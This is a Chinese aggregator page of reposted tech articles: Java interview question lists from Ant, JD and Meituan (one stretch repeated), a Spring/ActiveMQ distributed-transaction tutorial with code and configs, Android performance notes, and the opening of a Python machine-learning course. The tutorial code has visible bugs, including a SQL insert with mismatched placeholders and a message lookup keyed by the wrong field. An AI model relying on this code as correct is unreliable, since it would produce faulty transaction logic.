你说了解分布式服务,那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别,以及使用场景。 讲一下docker的实现原理,以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景,各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高,相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图,从负载均衡到后端数据库集群。 分布式锁的方案,Redis和Zookeeper哪个好,如果是集群部署,高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级,你如何来解决。 常见的服务器雪崩是由什么引起的,如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些,以及对应的解决步骤。 07 京东4面(Java研发) 7.1 一面(基础面:约1小时) 自我介绍,主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么?其他的作用范围? 索引是什么概念有什么作用?MySQL里主要有哪些索引结构?哈希索引和B+树索引比较? Java线程池的原理?线程池有哪些?线程池工厂有哪些线程池类型,及其线程池参数是什么? hashmap原理,处理哈希冲突用的哪种方法? 还知道什么处理哈希冲突的方法? Java GC机制?GC Roots有哪些? Java怎么进行垃圾回收的?什么对象会进老年代?垃圾回收算法有哪些?为什么新生代使用复制算法? HashMap的时间复杂度?HashMap中Hash冲突是怎么解决的?链表的上一级结构是什么?Java8中的HashMap有什么变化?红黑树需要比较大小才能进行插入,是依据什么进行比较的?其他Hash冲突解决方式? hash和B+树的区别?分别应用于什么场景?哪个比较好? 项目里有个数据安全的,aes和md5的区别?详细点 7.2 二面(问数据库较多) 自我介绍 为什么MyISAM查询性能好? 事务特性(acid) 隔离级别 SQL慢查询的常见优化步骤? 说下乐观锁,悲观锁(select for update),并写出sql实现 TCP协议的三次握手和四次挥手过程? 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面(综合面;约一个小时) 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别?为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? 加锁有什么机制? ThreadLocal?应用场景? 数据库水平切分,垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别? 单机系统演变为分布式系统,会涉及到哪些技术的调整?请从前面负载到后端详细描述。 设计一个秒杀系统? 7.4 四面(HR面) 你自己最大优势和劣势是什么 平时遇见过什么样的挑战,怎么去克服的 工作中遇见了技术解决不了的问题,你的应对思路? 你的兴趣爱好? 未来的职业规划是什么? 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理,增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么,要注意什么 假设现在一个学生类,有学号和姓名,我现在hashcode方法重写的时候,只将学号参与计算,会出现什么情况? 往set里面put一个学生对象,然后将这个学生对象的学号改了,再put进去,可以放进set么?并讲出为什么 Redis的持久化?有哪些方式,原理是什么? 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁,语句该怎么写 Java的内存模型,垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数,给了是个线程,让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4,描述一下现在系统处于什么情况 Linux,查找磁盘上最大的文件的命令 Linux,如何查看系统日志文件 手撕算法:leeetcode原题 22,Generate Parentheses,给定 n 对括号,请- 写一个函数以将其生成新的括号组合,并返回所有组合结果。 8.3 美团三面(现场) 三面没怎么问技术,问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时,如何沟通并说服开发成员,并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 23:43:59
86
转载
转载文章
...收到消息消费消息时先查询message表如果有记录就不处理如果没记录就进行数据库增款操作 5、如果余额宝数据库操作成功往余额宝message表插入消息,表字段跟支付宝message一致 6、如果5操作成功,回调支付宝接口修改message表状态,把unconfirm状态转换成confirm状态 问题描述: 1、支付宝设计message表的目的 如果支付宝往activemq插入消息而余额宝消费消息异常,有可能是消费消息成功而事务操作异常,有可能是网络异常等等不确定因素。如果出现异常而activemq收到了确认消息的信号,这时候activemq中的消息是删除了的,消息丢失了。设置message表就是有一个消息存根,activemq中消息丢失了message表中的消息还在。解决了activemq消息丢失问题 2、余额宝设计message表的目的 当余额宝消费成功并且数据库操作成功时,回调支付宝的消息确认接口,如果回调接口时出现异常导致支付宝状态修改失败还是unconfirm状态,这时候还会被timer扫描到,又会往activemq插入消息,又会被余额宝消费一边,但是这条消息已经消费成功了的只是回调失败而已,所以就需要有一个这样的message表,当余额宝消费时先插入message表,如果message根据message_id能查询到记录就说明之前这条消息被消费过就不再消费只需要回调成功即可,如果查询不到消息就消费这条消息继续数据库操作,数据库操作成功就往message表插入消息。 这样就解决了消息重复消费问题,这也是消费端的幂等操作。 基于消息中间件的分布式事务是最理想的分布式事务解决方案,兼顾了安全性和并发性! 接下来贴代码: 支付宝代码: @Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws userID:转账的用户ID amount:转多少钱/@Autowired@Qualifier("activemq")OrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId,String messageId, int amount) {try {orderService.updateAmount(amount,messageId, userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";}@RequestMapping("/callback")public String callback(String param) {JSONObject parse = JSONObject.parseObject(param);String respCode = parse.getString("respCode");if(!"OK".equalsIgnoreCase(respCode)) {return null;}try {orderService.updateMessage(param);}catch (Exception e) {e.printStackTrace();return "fail";}return "ok";} } public interface OrderService {public void updateAmount(int amount, String userId,String messageId);public void updateMessage(String param);} @Service("activemq")@Transactional(rollbackFor = Exception.class)public class OrderServiceActivemqImpl implements OrderService {Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;@AutowiredJmsTemplate jmsTemplate;@Overridepublic void updateAmount(final int amount, final String messageId, final String userId) {String sql = "update account set amount = amount - ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[]{amount, userId});if (count == 1) {//插入到消息记录表sql = "insert into message(user_id,message_id,amount,status) values (?,?,?,?)";int row = jdbcTemplate.update(sql,new Object[]{userId,messageId,amount,"unconfirm"});if(row == 1) {//往activemq中插入消息jmsTemplate.send("zg.jack.queue", new MessageCreator() {@Overridepublic Message createMessage(Session session) throws JMSException {com.zhuguang.jack.bean.Message message = new com.zhuguang.jack.bean.Message();message.setAmount(Integer.valueOf(amount));message.setStatus("unconfirm");message.setUserId(userId);message.setMessageId(messageId);return session.createObjectMessage(message);} });} }}@Overridepublic void updateMessage(String param) {JSONObject parse = JSONObject.parseObject(param);String messageId = parse.getString("messageId");String sql = "update message set status = ? where message_id = ?";int count = jdbcTemplate.update(sql,new Object[]{"confirm",messageId});if(count == 1) {logger.info(messageId + " callback successfull");} }} activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> spring-dispatcher.xml <beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:p="http://www.springframework.org/schema/p"xmlns:context="http://www.springframework.org/schema/context"xmlns:task="http://www.springframework.org/schema/task" xmlns:aop="http://www.springframework.org/schema/aop"xmlns:tx="http://www.springframework.org/schema/tx"xmlns:util="http://www.springframework.org/schema/util" xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/utilhttp://www.springframework.org/schema/util/spring-util-3.2.xsdhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.2.xsdhttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.2.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-3.2.xsdhttp://www.springframework.org/schema/task http://www.springframework.org/schema/task/spring-task-3.0.xsdhttp://www.springframework.org/schema/txhttp://www.springframework.org/schema/tx/spring-tx-3.0.xsdhttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd"><!-- 引入同文件夹下的redis属性配置文件 --><!-- 解决springMVC响应数据乱码 text/plain就是响应的时候原样返回数据--><import resource="../activemq/activemq.xml"/><!--<context:property-placeholder ignore-unresolvable="true" location="classpath:config/core/core.properties,classpath:config/redis/redis-config.properties" />--><bean id="propertyConfigurerForProject1" class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"><property name="order" value="1" /><property name="ignoreUnresolvablePlaceholders" value="true" /><property name="location"><value>classpath:config/core/core.properties</value></property></bean><mvc:annotation-driven><mvc:message-converters register-defaults="true"><bean class="org.springframework.http.converter.StringHttpMessageConverter"><property name="supportedMediaTypes" value = "text/plain;charset=UTF-8" /></bean></mvc:message-converters></mvc:annotation-driven><!-- 避免IE执行AJAX时,返回JSON出现下载文件 --><bean id="mappingJacksonHttpMessageConverter" class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"><property name="supportedMediaTypes"><list><value>text/html;charset=UTF-8</value></list></property></bean><!-- 开启controller注解支持 --><!-- 注:如果base-package=com.avicit 则注解事务不起作用 TODO 读源码 --><context:component-scan base-package="com.zhuguang"></context:component-scan><mvc:view-controller path="/" view-name="redirect:/index" /><beanclass="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" /><bean id="handlerAdapter"class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter"></bean><beanclass="org.springframework.web.servlet.view.ContentNegotiatingViewResolver"><property name="mediaTypes"><map><entry key="json" value="application/json" /><entry key="xml" value="application/xml" /><entry key="html" value="text/html" /></map></property><property name="viewResolvers"><list><bean class="org.springframework.web.servlet.view.BeanNameViewResolver" /><bean class="org.springframework.web.servlet.view.UrlBasedViewResolver"><property name="viewClass" value="org.springframework.web.servlet.view.JstlView" /><property name="prefix" value="/" /><property name="suffix" value=".jsp" /></bean></list></property></bean><!-- 支持上传文件 --> <!-- 控制器异常处理 --><bean id="exceptionResolver"class="org.springframework.web.servlet.handler.SimpleMappingExceptionResolver"><property name="exceptionMappings"><props><prop key="java.lang.Exception">error</prop></props></property></bean><bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close"><property name="driverClass"><value>${jdbc.driverClassName}</value></property><property name="jdbcUrl"><value>${jdbc.url}</value></property><property name="user"><value>${jdbc.username}</value></property><property name="password"><value>${jdbc.password}</value></property><property name="minPoolSize" value="10" /><property name="maxPoolSize" value="100" /><property name="maxIdleTime" value="1800" /><property name="acquireIncrement" value="3" /><property name="maxStatements" value="1000" /><property name="initialPoolSize" value="10" /><property name="idleConnectionTestPeriod" value="60" /><property name="acquireRetryAttempts" value="30" /><property name="breakAfterAcquireFailure" value="false" /><property name="testConnectionOnCheckout" value="false" /><property name="acquireRetryDelay"><value>100</value></property></bean><bean id="jdbcTemplate" class="org.springframework.jdbc.core.JdbcTemplate"><property name="dataSource" ref="dataSource"></property></bean><bean id="transactionManager" class="org.springframework.jdbc.datasource.DataSourceTransactionManager"><property name="dataSource" ref="dataSource"/></bean><tx:annotation-driven transaction-manager="transactionManager" proxy-target-class="true" /><aop:aspectj-autoproxy expose-proxy="true"/></beans> logback.xml <?xml version="1.0" encoding="UTF-8"?><!--scan:当此属性设置为true时,配置文件如果发生改变,将会被重新加载,默认值为true。scanPeriod:设置监测配置文件是否有修改的时间间隔,如果没有给出时间单位,默认单位是毫秒当scan为true时,此属性生效。默认的时间间隔为1分钟。debug:当此属性设置为true时,将打印出logback内部日志信息,实时查看logback运行状态。默认值为false。--><configuration scan="false" scanPeriod="60 seconds" debug="false"><!-- 定义日志的根目录 --><!-- <property name="LOG_HOME" value="/app/log" /> --><!-- 定义日志文件名称 --><property name="appName" value="netty"></property><!-- ch.qos.logback.core.ConsoleAppender 表示控制台输出 --><appender name="stdout" class="ch.qos.logback.core.ConsoleAppender"><Encoding>UTF-8</Encoding><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度%logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--><encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg%n</pattern></encoder></appender><!-- 滚动记录文件,先将日志记录到指定文件,当符合某个条件时,将日志记录到其他文件 --> <appender name="appLogAppender" class="ch.qos.logback.core.rolling.RollingFileAppender"><Encoding>UTF-8</Encoding><!-- 指定日志文件的名称 --> <file>${appName}.log</file><!--当发生滚动时,决定 RollingFileAppender 的行为,涉及文件移动和重命名TimeBasedRollingPolicy: 最常用的滚动策略,它根据时间来制定滚动策略,既负责滚动也负责出发滚动。--><rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy"><!--滚动时产生的文件的存放位置及文件名称 %d{yyyy-MM-dd}:按天进行日志滚动 %i:当文件大小超过maxFileSize时,按照i进行文件滚动--><fileNamePattern>${appName}-%d{yyyy-MM-dd}-%i.log</fileNamePattern><!-- 可选节点,控制保留的归档文件的最大数量,超出数量就删除旧文件。假设设置每天滚动,且maxHistory是365,则只保存最近365天的文件,删除之前的旧文件。注意,删除旧文件是,那些为了归档而创建的目录也会被删除。--><MaxHistory>365</MaxHistory><!-- 当日志文件超过maxFileSize指定的大小是,根据上面提到的%i进行日志文件滚动 注意此处配置SizeBasedTriggeringPolicy是无法实现按文件大小进行滚动的,必须配置timeBasedFileNamingAndTriggeringPolicy--><timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP"><maxFileSize>100MB</maxFileSize></timeBasedFileNamingAndTriggeringPolicy></rollingPolicy><!--日志输出格式:%d表示日期时间,%thread表示线程名,%-5level:级别从左显示5个字符宽度 %logger{50} 表示logger名字最长50个字符,否则按照句点分割。 %msg:日志消息,%n是换行符--> <encoder><pattern>%d{yyyy-MM-dd HH:mm:ss.SSS} [ %thread ] - [ %-5level ] [ %logger{50} : %line ] - %msg%n</pattern></encoder></appender><!-- logger主要用于存放日志对象,也可以定义日志类型、级别name:表示匹配的logger类型前缀,也就是包的前半部分level:要记录的日志级别,包括 TRACE < DEBUG < INFO < WARN < ERRORadditivity:作用在于children-logger是否使用 rootLogger配置的appender进行输出,false:表示只用当前logger的appender-ref,true:表示当前logger的appender-ref和rootLogger的appender-ref都有效--><!-- <logger name="edu.hyh" level="info" additivity="true"><appender-ref ref="appLogAppender" /></logger> --><!-- root与logger是父子关系,没有特别定义则默认为root,任何一个类只会和一个logger对应,要么是定义的logger,要么是root,判断的关键在于找到这个logger,然后判断这个logger的appender和level。 --><root level="debug"><appender-ref ref="stdout" /><appender-ref ref="appLogAppender" /></root></configuration> 2、余额宝代码 package com.zhuguang.jack.controller;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;@Controller@RequestMapping("/order")public class OrderController {/ @Description TODO @param @return 参数 @return String 返回类型 @throws 模拟银行转账 userID:转账的用户ID amount:转多少钱/@AutowiredOrderService orderService;@RequestMapping("/transfer")public @ResponseBody String transferAmount(String userId, String amount) {try {orderService.updateAmount(Integer.valueOf(amount), userId);}catch (Exception e) {e.printStackTrace();return "===============================transferAmount failed===================";}return "===============================transferAmount successfull===================";} } 消息监听器 package com.zhuguang.jack.listener;import com.alibaba.fastjson.JSONObject;import com.zhuguang.jack.service.OrderService;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;import javax.jms.JMSException;import javax.jms.Message;import javax.jms.MessageListener;import javax.jms.ObjectMessage;@Service("queueMessageListener")public class QueueMessageListener implements MessageListener {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredOrderService orderService;@Transactional(rollbackFor = Exception.class)@Overridepublic void onMessage(Message message) {if (message instanceof ObjectMessage) {ObjectMessage objectMessage = (ObjectMessage) message;try {com.zhuguang.jack.bean.Message message1 = (com.zhuguang.jack.bean.Message) objectMessage.getObject();String userId = message1.getUserId();int count = orderService.queryMessageCountByUserId(userId);if (count == 0) {orderService.updateAmount(message1.getAmount(), message1.getUserId());orderService.insertMessage(message1.getUserId(), message1.getMessageId(), message1.getAmount(), "ok");} else {logger.info("异常转账");}RestTemplate restTemplate = createRestTemplate();JSONObject jo = new JSONObject();jo.put("messageId", message1.getMessageId());jo.put("respCode", "OK");String url = "http://jack.bank_a.com:8080/alipay/order/callback?param="+ jo.toJSONString();restTemplate.getForObject(url,null);} catch (JMSException e) {e.printStackTrace();throw new RuntimeException("异常");} }}public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);} } package com.zhuguang.jack.service;public interface OrderService {public void updateAmount(int amount, String userId);public int queryMessageCountByUserId(String userId);public int insertMessage(String userId,String messageId,int amount,String status);} package com.zhuguang.jack.service;import org.slf4j.Logger;import org.slf4j.LoggerFactory;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.http.client.SimpleClientHttpRequestFactory;import org.springframework.jdbc.core.JdbcTemplate;import org.springframework.stereotype.Service;import org.springframework.transaction.annotation.Transactional;import org.springframework.web.client.RestTemplate;@Service@Transactional(rollbackFor = Exception.class)public class OrderServiceImpl implements OrderService {private Logger logger = LoggerFactory.getLogger(getClass());@AutowiredJdbcTemplate jdbcTemplate;/ 更新数据库表,把账户余额减去amountd/@Overridepublic void updateAmount(int amount, String userId) {//1、农业银行转账3000,也就说农业银行jack账户要减3000String sql = "update account set amount = amount + ?,update_time=now() where user_id = ?";int count = jdbcTemplate.update(sql, new Object[] {amount, userId});if (count != 1) {throw new RuntimeException("订单创建失败,农业银行转账失败!");} }public RestTemplate createRestTemplate() {SimpleClientHttpRequestFactory simpleClientHttpRequestFactory = new SimpleClientHttpRequestFactory();simpleClientHttpRequestFactory.setConnectTimeout(3000);simpleClientHttpRequestFactory.setReadTimeout(2000);return new RestTemplate(simpleClientHttpRequestFactory);}@Overridepublic int queryMessageCountByUserId(String messageId) {String sql = "select count() from message where message_id = ?";int count = jdbcTemplate.queryForInt(sql, new Object[]{messageId});return count;}@Overridepublic int insertMessage(String userId, String message_id,int amount, String status) {String sql = "insert into message(user_id,message_id,amount,status) values(?,?,?)";int count = jdbcTemplate.update(sql, new Object[]{userId, message_id,amount, status});if(count == 1) {logger.info("Ok");}return count;} } activemq.xml <?xml version="1.0" encoding="UTF-8"?><beans xmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:amq="http://activemq.apache.org/schema/core"xmlns:jms="http://www.springframework.org/schema/jms"xmlns:context="http://www.springframework.org/schema/context"xmlns:mvc="http://www.springframework.org/schema/mvc"xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans-4.1.xsdhttp://www.springframework.org/schema/contexthttp://www.springframework.org/schema/context/spring-context-4.1.xsdhttp://www.springframework.org/schema/mvchttp://www.springframework.org/schema/mvc/spring-mvc-4.1.xsdhttp://www.springframework.org/schema/jmshttp://www.springframework.org/schema/jms/spring-jms-4.1.xsdhttp://activemq.apache.org/schema/corehttp://activemq.apache.org/schema/core/activemq-core-5.12.1.xsd"><context:component-scan base-package="com.zhuguang.jack" /><mvc:annotation-driven /><amq:connectionFactory id="amqConnectionFactory"brokerURL="tcp://192.168.88.131:61616"userName="system"password="manager" /><!-- 配置JMS连接工长 --><bean id="connectionFactory"class="org.springframework.jms.connection.CachingConnectionFactory"><constructor-arg ref="amqConnectionFactory" /><property name="sessionCacheSize" value="100" /></bean><!-- 定义消息队列(Queue) --><bean id="demoQueueDestination" class="org.apache.activemq.command.ActiveMQQueue"><!-- 设置消息队列的名字 --><constructor-arg><value>zg.jack.queue</value></constructor-arg></bean><!-- 显示注入消息监听容器(Queue),配置连接工厂,监听的目标是demoQueueDestination,监听器是上面定义的监听器 --><bean id="queueListenerContainer"class="org.springframework.jms.listener.DefaultMessageListenerContainer"><property name="connectionFactory" ref="connectionFactory" /><property name="destination" ref="demoQueueDestination" /><property name="messageListener" ref="queueMessageListener" /></bean><!-- 配置JMS模板(Queue),Spring提供的JMS工具类,它发送、接收消息。 --><bean id="jmsTemplate" class="org.springframework.jms.core.JmsTemplate"><property name="connectionFactory" ref="connectionFactory" /><property name="defaultDestination" ref="demoQueueDestination" /><property name="receiveTimeout" value="10000" /><!-- true是topic,false是queue,默认是false,此处显示写出false --><property name="pubSubDomain" value="false" /></bean></beans> OK~~~~~~~~~~~~大功告成!!!, 如果大家觉得满意并且对技术感兴趣请加群:171239762, 纯技术交流群,非诚勿扰。 本篇文章为转载内容。原文链接:https://blog.csdn.net/luoyang_java/article/details/84953241。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-16 22:34:52
500
转载
转载文章
...,从而引发的一种程序错误。文中提到面试者讨论了如何通过优化内存管理、避免内存泄露等方式来预防OOM问题,确保应用能够在有限的内存资源下流畅运行。 ListView优化 , ListView是Android SDK中提供的一个用于展示大量数据列表的UI组件,它支持滚动和视图重用机制以提高性能。然而,如果不进行适当的优化,当加载大量数据时可能会出现卡顿、延迟或内存溢出等问题。文章中的面试过程涉及到了ListView优化的关键点,如复用convertView以减少对象创建、减少findViewById调用次数、分页加载数据以及图片缓存策略等,这些措施都是为了提升ListView的滚动流畅度和整体性能。 图片三级缓存机制 , 在移动应用尤其是Android应用开发中,图片资源的高效管理和加载对于用户体验至关重要。三级缓存机制是一种常见的优化手段,主要包括内存缓存、本地缓存(文件缓存)和网络缓存三层结构。当需要加载图片时,首先检查内存缓存中是否存在该图片,若存在则直接使用;若不存在,则查询本地缓存,如果找到则从本地读取并加载至内存缓存;若本地也未存储,则发起网络请求下载图片,并将下载后的图片同时保存至内存缓存和本地缓存,以便后续快速访问。这样做的目的是减少对网络带宽和内存资源的消耗,防止因频繁加载图片导致的卡顿、延迟甚至OOM问题,提升应用性能和用户体验。在文中,面试者详细介绍了自己如何利用这一机制来优化项目中的图片处理部分。
2023-06-19 17:42:52
338
转载
转载文章
...味着,一旦您了解基本语法,就可以选择像Python这样的新编程语言,这对您来说并不重要。这并不意味着您是一名向导编码员,而是可以毫不费力地遵循基本的类似于C的语言。 懂一点机器学习的开发人员。这意味着您了解机器学习的基础知识,例如交叉验证,一些算法和偏差方差折衷。这并不意味着您是机器学习博士,而是您知道地标或知道在哪里查找。 这门迷你课程既不是Python的教科书,也不是机器学习的教科书。 从一个懂一点机器学习的开发人员到一个可以使用Python生态系统获得结果的开发人员,Python生态系统是专业机器学习的新兴平台。 在Python机器学习方面需要帮助吗? 参加我为期2周的免费电子邮件课程,发现数据准备,算法等(包括代码)。 单击立即注册,并获得该课程的免费PDF电子书版本。 立即开始免费的迷你课程! 迷你课程概述 该微型课程分为14节课。 您可以每天完成一堂课(推荐),也可以在一天内完成所有课程(核心!)。这实际上取决于您有空的时间和您的热情水平。 以下是14个课程,可帮助您入门并提高使用Python进行机器学习的效率: 第1课:下载并安装Python和SciPy生态系统。 第2课:深入了解Python,NumPy,Matplotlib和Pandas。 第3课:从CSV加载数据。 第4课:了解具有描述性统计信息的数据。 第5课:通过可视化了解数据。 第6课:通过预处理数据准备建模。 第7课:使用重采样方法进行算法评估。 第8课:算法评估指标。 第9课:现场检查算法。 第10课:模型比较和选择。 第11课:通过算法调整提高准确性。 第12课:利用集合预测提高准确性。 第13课:完成并保存模型。 第14课:Hello World端到端项目。 每节课可能需要您60秒钟或最多30分钟。花点时间按照自己的进度完成课程。提出问题,甚至在以下评论中发布结果。 这些课程希望您能开始学习并做事。我会给您提示,但每节课的重点是迫使您学习从哪里寻求有关Python平台的帮助(提示,我直接在此博客上获得了所有答案,请使用搜索特征)。 在早期课程中,我确实提供了更多帮助,因为我希望您树立一些信心和惯性。 挂在那里,不要放弃! 第1课:下载并安装Python和SciPy 您必须先访问平台才能开始使用Python进行机器学习。 今天的课程很简单,您必须在计算机上下载并安装Python 3.6平台。 访问Python主页并下载适用于您的操作系统(Linux,OS X或Windows)的Python。在计算机上安装Python。您可能需要使用特定于平台的软件包管理器,例如OS X上的macports或RedHat Linux上的yum。 您还需要安装SciPy平台和scikit-learn库。我建议使用与安装Python相同的方法。 您可以使用Anaconda一次安装所有内容(更加容易)。推荐给初学者。 通过在命令行中键入“ python”来首次启动Python。 使用以下代码检查所有您需要的版本: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Python version import sys print('Python: {}'.format(sys.version)) scipy import scipy print('scipy: {}'.format(scipy.__version__)) numpy import numpy print('numpy: {}'.format(numpy.__version__)) matplotlib import matplotlib print('matplotlib: {}'.format(matplotlib.__version__)) pandas import pandas print('pandas: {}'.format(pandas.__version__)) scikit-learn import sklearn print('sklearn: {}'.format(sklearn.__version__)) 如果有任何错误,请停止。现在该修复它们了。 需要帮忙?请参阅本教程: 如何使用Anaconda设置用于机器学习和深度学习的Python环境 第2课:深入了解Python,NumPy,Matplotlib和Pandas。 您需要能够读写基本的Python脚本。 作为开发人员,您可以很快选择新的编程语言。Python区分大小写,使用哈希(#)进行注释,并使用空格指示代码块(空格很重要)。 今天的任务是在Python交互环境中练习Python编程语言的基本语法和重要的SciPy数据结构。 练习作业,在Python中使用列表和流程控制。 